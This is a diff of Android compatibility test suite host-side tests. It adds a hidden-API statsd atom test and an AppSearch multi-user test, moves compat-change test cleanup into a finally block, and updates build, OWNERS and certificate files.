+public class HostsideStatsdAtomTests extends DeviceTestCase implements IBuildReceiver {
+    private static final String TEST_PKG = "android.compat.hiddenapi.cts";
+    private static final String TEST_APK = "CtsHiddenApiApp.apk";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        // Test package installed by HostsideNetworkTestCase
+        super.setUp();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        // Test package uninstalled by HostsideNetworkTestCase
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testHiddenApiUsed() throws Exception {
+        String oldRate = getDevice().executeShellCommand(
+                "device_config get app_compat hidden_api_access_statslog_sampling_rate").trim();
+
+        getDevice().executeShellCommand(
+                "device_config put app_compat hidden_api_access_statslog_sampling_rate 65536");
+
+        DeviceUtils.installTestApp(getDevice(), TEST_APK, TEST_PKG, mCtsBuild);
+
+        try {
+            final int atomTag = Atom.HIDDEN_API_USED_FIELD_NUMBER;
+
+             // Upload the config.
+            final StatsdConfig.Builder config = ConfigUtils.createConfigBuilder(TEST_PKG);
+            ConfigUtils.addEventMetricForUidAtom(config,  Atom.HIDDEN_API_USED_FIELD_NUMBER,
+                    /*uidInAttributionChain=*/false, TEST_PKG);
+            ConfigUtils.uploadConfig(getDevice(), config);
+
+            // Trigger hidden api event.
+            runActivity(getDevice(), TEST_PKG, "HiddenApiUsedActivity",
+                    /*actionKey=*/null, /*actionValue=*/null);
+            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+            List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+            assertThat(data).hasSize(1);
+
+            HiddenApiUsed atom = data.get(0).getAtom().getHiddenApiUsed();
+
+            final int appUid = DeviceUtils.getAppUid(getDevice(), TEST_PKG);
+            assertThat(atom.getUid()).isEqualTo(appUid);
+            assertThat(atom.getAccessDenied()).isFalse();
+            assertThat(atom.getSignature())
+                .isEqualTo("Landroid/app/Activity;->mWindow:Landroid/view/Window;");
+        } finally {
+            if (!oldRate.equals("null")) {
+                getDevice().executeShellCommand(
+                        "device_config put app_compat hidden_api_access_statslog_sampling_rate "
+                        + oldRate);
+            } else {
+                getDevice().executeShellCommand(
+                        "device_config delete hidden_api_access_statslog_sampling_rate");
+            }
+            DeviceUtils.uninstallTestApp(getDevice(), TEST_PKG);
+        }
+    }
+        /**
+     * Runs an activity in a particular app.
+     */
+    public static void runActivity(ITestDevice device, String pkgName, String activity,
+            @Nullable String actionKey, @Nullable String actionValue) throws Exception {
+        runActivity(device, pkgName, activity, actionKey, actionValue,
+                AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    /**
+     * Runs an activity in a particular app for a certain period of time.
+     *
+     * @param pkgName name of package that contains the Activity
+     * @param activity name of the Activity class
+     * @param actionKey key of extra data that is passed to the Activity via an Intent
+     * @param actionValue value of extra data that is passed to the Activity via an Intent
+     * @param waitTimeMs duration that the activity runs for
+     */
+    public static void runActivity(ITestDevice device, String pkgName, String activity,
+            @Nullable String actionKey, @Nullable String actionValue, long waitTimeMs)
+            throws Exception {
+        try (AutoCloseable a = withActivity(device, pkgName, activity, actionKey, actionValue)) {
+            Thread.sleep(waitTimeMs);
+        }
+    }
+
+    /**
+     * Starts the specified activity and returns an {@link AutoCloseable} that stops the activity
+     * when closed.
+     *
+     * <p>Example usage:
+     * <pre>
+     *     try (AutoClosable a = withActivity("activity", "action", "action-value")) {
+     *         doStuff();
+     *     }
+     * </pre>
+     */
+    public static AutoCloseable withActivity(ITestDevice device, String pkgName, String activity,
+            @Nullable String actionKey, @Nullable String actionValue) throws Exception {
+        String intentString;
+        if (actionKey != null && actionValue != null) {
+            intentString = actionKey + " " + actionValue;
+        } else {
+            intentString = null;
+        }
+
+        String cmd = "am start -n " + pkgName + "/." + activity;
+        if (intentString != null) {
+            cmd += " -e " + intentString;
+        }
+        device.executeShellCommand(cmd);
+
+        return () -> {
+            device.executeShellCommand("am force-stop " + pkgName);
+            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        };
+    }
+
+}
diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
index 10803dd..28bd4d7 100644
--- a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
@@ -143,55 +143,53 @@
             Set<Long> enabledChanges, Set<Long> disabledChanges,
             Set<Long> reportedEnabledChanges, Set<Long> reportedDisabledChanges)
             throws DeviceNotAvailableException {
+
         // Set compat overrides
         setCompatConfig(enabledChanges, disabledChanges, pkgName);
-
         // Send statsd config
         final long configId = getClass().getCanonicalName().hashCode();
         createAndUploadStatsdConfig(configId, pkgName);
 
-        // Run device-side test
-        if (testClassName.startsWith(".")) {
-            testClassName = pkgName + testClassName;
-        }
-        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(pkgName, TEST_RUNNER,
-                getDevice().getIDevice());
-        testRunner.setMethodName(testClassName, testMethodName);
-        CollectingTestListener listener = new CollectingTestListener();
-        assertThat(getDevice().runInstrumentationTests(testRunner, listener)).isTrue();
-
-        // Clear overrides.
-        resetCompatChanges(enabledChanges, pkgName);
-        resetCompatChanges(disabledChanges, pkgName);
-
-        // Clear statsd report data and remove config
-        Map<Long, Boolean> reportedChanges = getReportedChanges(configId, pkgName);
-        removeStatsdConfig(configId);
-
-        // Check that device side test occurred as expected
-        final TestRunResult result = listener.getCurrentRunResults();
-        assertWithMessage("Failed to successfully run device tests for %s: %s",
-                          result.getName(), result.getRunFailureMessage())
-                .that(result.isRunFailure()).isFalse();
-        assertWithMessage("Should run only exactly one test method!")
-                .that(result.getNumTests()).isEqualTo(1);
-        if (result.hasFailedTests()) {
-            // build a meaningful error message
-            StringBuilder errorBuilder = new StringBuilder("On-device test failed:\n");
-            for (Map.Entry<TestDescription, TestResult> resultEntry :
-                    result.getTestResults().entrySet()) {
-                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
-                    errorBuilder.append(resultEntry.getKey().toString());
-                    errorBuilder.append(":\n");
-                    errorBuilder.append(resultEntry.getValue().getStackTrace());
-                }
+        try {
+            // Run device-side test
+            if (testClassName.startsWith(".")) {
+                testClassName = pkgName + testClassName;
             }
-            throw new AssertionError(errorBuilder.toString());
+            RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(pkgName, TEST_RUNNER,
+                    getDevice().getIDevice());
+            testRunner.setMethodName(testClassName, testMethodName);
+            CollectingTestListener listener = new CollectingTestListener();
+            assertThat(getDevice().runInstrumentationTests(testRunner, listener)).isTrue();
+
+            // Check that device side test occurred as expected
+            final TestRunResult result = listener.getCurrentRunResults();
+            assertWithMessage("Failed to successfully run device tests for %s: %s",
+                            result.getName(), result.getRunFailureMessage())
+                    .that(result.isRunFailure()).isFalse();
+            assertWithMessage("Should run only exactly one test method!")
+                    .that(result.getNumTests()).isEqualTo(1);
+            if (result.hasFailedTests()) {
+                // build a meaningful error message
+                StringBuilder errorBuilder = new StringBuilder("On-device test failed:\n");
+                for (Map.Entry<TestDescription, TestResult> resultEntry :
+                        result.getTestResults().entrySet()) {
+                    if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
+                        errorBuilder.append(resultEntry.getKey().toString());
+                        errorBuilder.append(":\n");
+                        errorBuilder.append(resultEntry.getValue().getStackTrace());
+                    }
+                }
+                throw new AssertionError(errorBuilder.toString());
+            }
+
+        } finally {
+            // Cleanup compat overrides
+            resetCompatConfig(pkgName, enabledChanges, disabledChanges);
+            // Validate statsd report
+            validatePostRunStatsdReport(configId, pkgName, reportedEnabledChanges,
+                                        reportedDisabledChanges);
         }
 
-        // Validate statsd report
-        validatePostRunStatsdReport(reportedChanges, reportedEnabledChanges,
-            reportedDisabledChanges);
     }
 
     /**
@@ -218,7 +216,7 @@
      * @param pkgName  The package name of the app that is expected to report the atom. It will be
      *                 the only allowed log source.
      */
-    private void createAndUploadStatsdConfig(long configId, String pkgName)
+    protected void createAndUploadStatsdConfig(long configId, String pkgName)
             throws DeviceNotAvailableException {
         final String atomName = "Atom" + System.nanoTime();
         final String eventName = "Event" + System.nanoTime();
@@ -253,6 +251,8 @@
         } catch (IOException e) {
             throw new RuntimeException("IO error when writing to temp file.", e);
         }
+        // Purge data
+        getReportList(configId);
     }
 
     /**
@@ -279,7 +279,7 @@
      * @param disabledChanges Changes to be disabled.
      * @param packageName     Package name for the app whose config is being changed.
      */
-    private void setCompatConfig(Set<Long> enabledChanges, Set<Long> disabledChanges,
+    protected void setCompatConfig(Set<Long> enabledChanges, Set<Long> disabledChanges,
             @Nonnull String packageName) throws DeviceNotAvailableException {
         for (Long enabledChange : enabledChanges) {
             runCommand("am compat enable " + enabledChange + " " + packageName);
@@ -292,7 +292,7 @@
     /**
      * Reset changes to default for a package.
      */
-    private void resetCompatChanges(Set<Long> changes, @Nonnull String packageName)
+    protected void resetCompatChanges(Set<Long> changes, @Nonnull String packageName)
             throws DeviceNotAvailableException {
         for (Long change : changes) {
             runCommand("am compat reset " + change + " " + packageName);
@@ -333,16 +333,41 @@
     }
 
     /**
-     * Validate that all overridden changes were logged while running the test.
+     * Cleanup the altered change ids under test.
+     *
+     * @param pkgName               Package name of the app under test.
+     * @param enabledChanges        Set of changes that were enabled during the test and need to be
+     *                              reset to the default value.
+     * @param disabledChanges       Set of changes that were disabled during the test and need to
+     *                              be reset to the default value.
      */
-    private void validatePostRunStatsdReport(Map<Long, Boolean> reportedChanges,
-            Set<Long> enabledChanges, Set<Long> disabledChanges)
+    protected void resetCompatConfig( String pkgName, Set<Long> enabledChanges,
+            Set<Long> disabledChanges) throws DeviceNotAvailableException {
+        // Clear overrides.
+        resetCompatChanges(enabledChanges, pkgName);
+        resetCompatChanges(disabledChanges, pkgName);
+    }
+
+    /**
+     * Validate that all overridden changes were logged while running the test.
+     *
+     * @param configId              The unique config id used to track change id queries.
+     * @param pkgName               Package name of the app under test.
+     * @param loggedEnabledChanges  Changes expected to be logged as enabled during the test.
+     * @param loggedDisabledChanges Changes expected to be logged as disabled during the test.
+     */
+    protected void validatePostRunStatsdReport(long configId, String pkgName,
+            Set<Long> loggedEnabledChanges, Set<Long> loggedDisabledChanges)
             throws DeviceNotAvailableException {
-        for (Long enabledChange : enabledChanges) {
+        // Clear statsd report data and remove config
+        Map<Long, Boolean> reportedChanges = getReportedChanges(configId, pkgName);
+        removeStatsdConfig(configId);
+
+        for (Long enabledChange : loggedEnabledChanges) {
             assertThat(reportedChanges)
                     .containsEntry(enabledChange, true);
         }
-        for (Long disabledChange : disabledChanges) {
+        for (Long disabledChange : loggedDisabledChanges) {
             assertThat(reportedChanges)
                     .containsEntry(disabledChange, false);
         }
diff --git a/hostsidetests/appcompat/strictjavapackages/TEST_MAPPING b/hostsidetests/appcompat/strictjavapackages/TEST_MAPPING
new file mode 100644
index 0000000..70dfc61
--- /dev/null
+++ b/hostsidetests/appcompat/strictjavapackages/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsStrictJavaPackagesTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
index e9721b7..2685691 100644
--- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
+++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
@@ -89,6 +89,7 @@
                     "Landroid/annotation/MainThread;",
                     "Landroid/annotation/NonNull;",
                     "Landroid/annotation/Nullable;",
+                    "Landroid/annotation/RequiresNoPermission;",
                     "Landroid/annotation/RequiresPermission;",
                     "Landroid/annotation/RequiresPermission$Read;",
                     "Landroid/annotation/RequiresPermission$Write;",
@@ -217,13 +218,6 @@
                     "Landroid/os/InputEventInjectionResult;",
                     "Landroid/os/InputEventInjectionSync;",
                     "Landroid/os/TouchOcclusionMode;",
-                    "Lcom/android/internal/protolog/common/BitmaskConversionException;",
-                    "Lcom/android/internal/protolog/common/InvalidFormatStringException;",
-                    "Lcom/android/internal/protolog/common/IProtoLogGroup;",
-                    "Lcom/android/internal/protolog/common/LogDataType;",
-                    "Lcom/android/internal/protolog/common/ProtoLog;",
-                    "Lcom/android/internal/protolog/ProtoLogImpl;",
-                    "Lcom/android/internal/protolog/ProtoLogViewerConfigReader;",
                     "Lcom/android/internal/util/FrameworkStatsLog;"
             );
 
diff --git a/hostsidetests/appsearch/Android.bp b/hostsidetests/appsearch/Android.bp
new file mode 100644
index 0000000..27193dd
--- /dev/null
+++ b/hostsidetests/appsearch/Android.bp
@@ -0,0 +1,59 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    name: "CtsAppSearchHostTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    libs: [
+        "tools-common-prebuilt",
+        "cts-tradefed",
+        "tradefed",
+        "truth-prebuilt"
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsAppSearchHostTestHelper",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "AppSearchTestUtils",
+        "androidx.test.ext.junit",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "testng",
+    ],
+    srcs: [
+        "test-apps/AppSearchHostTestHelper/src/**/*.java",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    manifest: "test-apps/AppSearchHostTestHelper/AndroidManifest.xml",
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/appsearch/AndroidTest.xml b/hostsidetests/appsearch/AndroidTest.xml
new file mode 100644
index 0000000..1ee8f59
--- /dev/null
+++ b/hostsidetests/appsearch/AndroidTest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for the CTS AppSearch host tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <test class="com.android.tradefed.testtype.HostTest" >
+        <option name="jar" value="CtsAppSearchHostTestCases.jar" />
+    </test>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="test-file-name" value="CtsAppSearchHostTestHelper.apk" />
+        <option name="cleanup-apks" value="true" />
+    </target_preparer>
+</configuration>
diff --git a/hostsidetests/appsearch/OWNERS b/hostsidetests/appsearch/OWNERS
new file mode 100644
index 0000000..f2060d9
--- /dev/null
+++ b/hostsidetests/appsearch/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 755061
+include platform/frameworks/base:/apex/appsearch/OWNERS
diff --git a/hostsidetests/appsearch/TEST_MAPPING b/hostsidetests/appsearch/TEST_MAPPING
new file mode 100644
index 0000000..3df2245
--- /dev/null
+++ b/hostsidetests/appsearch/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppSearchHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/appsearch/src/android/appsearch/cts/AppSearchMultiUserTest.java b/hostsidetests/appsearch/src/android/appsearch/cts/AppSearchMultiUserTest.java
new file mode 100644
index 0000000..1dc36b9
--- /dev/null
+++ b/hostsidetests/appsearch/src/android/appsearch/cts/AppSearchMultiUserTest.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test to mock multi-user interacting with AppSearch.
+ *
+ * <p>This test is split into two distinct parts: The first part is the test-apps that runs on the
+ * device and interactive with AppSearch.This class is the second part that runs on the host and
+ * triggers tests in the first part for different users.
+ *
+ * <p>To trigger a device test, call runDeviceTestAsUser with a specific the test name and specific
+ * user.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class AppSearchMultiUserTest extends BaseHostJUnit4Test {
+    private static final String TARGET_APK = "CtsAppSearchHostTestHelper.apk";
+    private static final String TARGET_PKG = "android.appsearch.app";
+    private static final String TEST_CLASS = TARGET_PKG + ".UserDataTest";
+
+    private static final long DEFAULT_INSTRUMENTATION_TIMEOUT_MS = 600_000; // 10min
+
+    private int mInitialUserId;
+    private int mSecondaryUserId;
+
+    @Before
+    public void setUp() throws Exception {
+        assumeTrue("Multi-user is not supported on this device",
+                getDevice().isMultiUserSupported());
+
+        mInitialUserId = getDevice().getCurrentUser();
+        mSecondaryUserId = getDevice().createUser("Test_User");
+        assertThat(getDevice().startUser(mSecondaryUserId)).isTrue();
+
+        installPackageAsUser(TARGET_APK, /* grantPermissions */true, mInitialUserId);
+        installPackageAsUser(TARGET_APK, /* grantPermissions */true, mSecondaryUserId);
+
+        runDeviceTestAsUser("clearTestData", mInitialUserId);
+        runDeviceTestAsUser("clearTestData", mSecondaryUserId);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        runDeviceTestAsUser("clearTestData", mInitialUserId);
+        if (mSecondaryUserId > 0) {
+            getDevice().removeUser(mSecondaryUserId);
+        }
+    }
+
+    private void runDeviceTestAsUser(String testMethod, int userId) throws Exception {
+        runDeviceTests(getDevice(), TARGET_PKG, TEST_CLASS, testMethod, userId,
+                DEFAULT_INSTRUMENTATION_TIMEOUT_MS);
+    }
+
+    @Test
+    public void testMultiUser_documentAccess() throws Exception {
+        runDeviceTestAsUser("testPutDocuments", mSecondaryUserId);
+        runDeviceTestAsUser("testGetDocuments_exist", mSecondaryUserId);
+        // Cannot get the document from another user.
+        runDeviceTestAsUser("testGetDocuments_nonexist", mInitialUserId);
+    }
+}
diff --git a/hostsidetests/appsearch/test-apps/AppSearchHostTestHelper/AndroidManifest.xml b/hostsidetests/appsearch/test-apps/AppSearchHostTestHelper/AndroidManifest.xml
new file mode 100644
index 0000000..85eca5b
--- /dev/null
+++ b/hostsidetests/appsearch/test-apps/AppSearchHostTestHelper/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appsearch.app">
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.appsearch.app"  />
+</manifest>
\ No newline at end of file
diff --git a/hostsidetests/appsearch/test-apps/AppSearchHostTestHelper/src/android/appsearch/app/UserDataTest.java b/hostsidetests/appsearch/test-apps/AppSearchHostTestHelper/src/android/appsearch/app/UserDataTest.java
new file mode 100644
index 0000000..33c8df5
--- /dev/null
+++ b/hostsidetests/appsearch/test-apps/AppSearchHostTestHelper/src/android/appsearch/app/UserDataTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsearch.app;
+
+import static com.android.server.appsearch.testing.AppSearchTestUtils.checkIsBatchResultSuccess;
+import static com.android.server.appsearch.testing.AppSearchTestUtils.doGet;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.appsearch.AppSearchBatchResult;
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchResult;
+import android.app.appsearch.AppSearchSchema;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.GetByUriRequest;
+import android.app.appsearch.PutDocumentsRequest;
+import android.app.appsearch.SetSchemaRequest;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.server.appsearch.testing.AppSearchSessionShimImpl;
+
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class UserDataTest {
+
+    private static final String DB_NAME = "";
+    private static final String NAMESPACE = "namespace";
+    private static final String URI = "uri";
+    private static final AppSearchSchema SCHEMA = new AppSearchSchema.Builder("testSchema")
+            .addProperty(new AppSearchSchema.StringPropertyConfig.Builder("subject")
+                    .setCardinality(AppSearchSchema.PropertyConfig.CARDINALITY_OPTIONAL)
+                    .setIndexingType(
+                            AppSearchSchema.StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                    .setTokenizerType(AppSearchSchema.StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                    .build())
+            .build();
+    private static final GenericDocument DOCUMENT =
+            new GenericDocument.Builder<>(NAMESPACE, URI, SCHEMA.getSchemaType())
+                    .setPropertyString("subject", "testPut example1")
+                    .setCreationTimestampMillis(12345L)
+                    .build();
+
+    private AppSearchSessionShim mDb;
+
+    @Before
+    public void setUp() throws Exception {
+        mDb = AppSearchSessionShimImpl.createSearchSession(
+                new AppSearchManager.SearchContext.Builder(DB_NAME).build()).get();
+    }
+
+    @Test
+    public void testPutDocuments() throws Exception {
+        // Schema registration
+        mDb.setSchema(new SetSchemaRequest.Builder().addSchemas(SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchBatchResult<String, Void> result = checkIsBatchResultSuccess(
+                mDb.put(new PutDocumentsRequest.Builder().addGenericDocuments(DOCUMENT).build()));
+        assertThat(result.getSuccesses()).containsExactly(URI, /*v0=*/null);
+        assertThat(result.getFailures()).isEmpty();
+    }
+
+    @Test
+    public void testGetDocuments_exist() throws Exception {
+        List<GenericDocument> outDocuments = doGet(mDb, NAMESPACE, URI);
+        assertThat(outDocuments).containsExactly(DOCUMENT);
+    }
+
+    @Test
+    public void testGetDocuments_nonexist() throws Exception {
+        AppSearchBatchResult<String, GenericDocument> getResult = mDb.getByUri(
+                new GetByUriRequest.Builder(NAMESPACE).addUris(URI).build()).get();
+        assertThat(getResult.getFailures().get(URI).getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+    }
+
+    /**
+     * Clear generated data during the test.
+     *
+     * <p>Device side tests will be a part of host side test. We should clear the test data in the
+     * host side tearDown only. Otherwise, it will wipe the data in the middle of a host side test.
+     */
+    @Test
+    public void clearTestData() throws Exception {
+        mDb.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+    }
+}
diff --git a/hostsidetests/appsecurity/Android.bp b/hostsidetests/appsecurity/Android.bp
index b0626d4..8d5fdf8 100644
--- a/hostsidetests/appsecurity/Android.bp
+++ b/hostsidetests/appsecurity/Android.bp
@@ -35,6 +35,7 @@
         "CompatChangeGatingTestBase",
         "CtsPkgInstallerConstants",
         "cts-host-utils",
+        "cts-statsd-atom-host-test-utils",
     ],
 
     java_resource_dirs: ["res"],
@@ -44,6 +45,8 @@
         "cts",
         "general-tests",
         "mts-documentsui",
+        "mts-mainline-infra",
+        "mts-mediaprovider",
         "sts",
     ],
 
diff --git a/hostsidetests/appsecurity/OWNERS b/hostsidetests/appsecurity/OWNERS
index d561b80..f438e7b 100644
--- a/hostsidetests/appsecurity/OWNERS
+++ b/hostsidetests/appsecurity/OWNERS
@@ -3,7 +3,7 @@
 per-file AccessSerialNumberTest.java = moltmann@google.com
 per-file ApexSignatureVerificationTest.java = dariofreni@google.com
 per-file ApplicationVisibilityTest.java = toddke@google.com
-per-file AppDataIsolationTests.java = rickywai@google.com
+per-file AppDataIsolationTests.java = rickywai@google.com,alanstokes@google.com
 per-file AppOpsTest.java = moltmann@google.com
 per-file AppSecurityTests.java = cbrubaker@google.com
 per-file AuthBoundKeyTest.java = cbrubaker@google.com
@@ -11,6 +11,8 @@
 per-file CorruptApkTests.java = rtmitchell@google.com
 per-file DeviceIdentifierTest.java = cbrubaker@google.com
 per-file EphemeralTest.java = toddke@google.com
+per-file ExternalStorageHostTest.java = nandana@google.com
+per-file ExternalStorageHostTest.java = zezeozue@google.com
 per-file InstantAppUserTest.java = toddke@google.com
 per-file InstantCookieHostTest.java = toddke@google.com
 per-file IsolatedSplitsTests.java = patb@google.com,toddke@google.com
diff --git a/hostsidetests/appsecurity/certs/Android.bp b/hostsidetests/appsecurity/certs/Android.bp
index c0bf4a4..526db77 100644
--- a/hostsidetests/appsecurity/certs/Android.bp
+++ b/hostsidetests/appsecurity/certs/Android.bp
@@ -1,11 +1,5 @@
 package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-NCSA
-    default_applicable_licenses: ["cts_license"],
+    default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
 android_app_certificate {
diff --git a/hostsidetests/appsecurity/certs/keysets/Android.bp b/hostsidetests/appsecurity/certs/keysets/Android.bp
index 5edce4c..4359b81 100644
--- a/hostsidetests/appsecurity/certs/keysets/Android.bp
+++ b/hostsidetests/appsecurity/certs/keysets/Android.bp
@@ -1,11 +1,5 @@
 package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-NCSA
-    default_applicable_licenses: ["cts_license"],
+    default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
 android_app_certificate {
diff --git a/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por-1_2_3-1-no-caps-2-default b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por-1_2_3-1-no-caps-2-default
new file mode 100644
index 0000000..bee71c0
--- /dev/null
+++ b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por-1_2_3-1-no-caps-2-default
Binary files differ
diff --git a/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por-1_2_3-no-caps b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por-1_2_3-no-caps
new file mode 100644
index 0000000..16ef196
--- /dev/null
+++ b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por-1_2_3-no-caps
Binary files differ
diff --git a/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por-1_2_4-default-caps b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por-1_2_4-default-caps
new file mode 100644
index 0000000..7326e46
--- /dev/null
+++ b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por-1_2_4-default-caps
Binary files differ
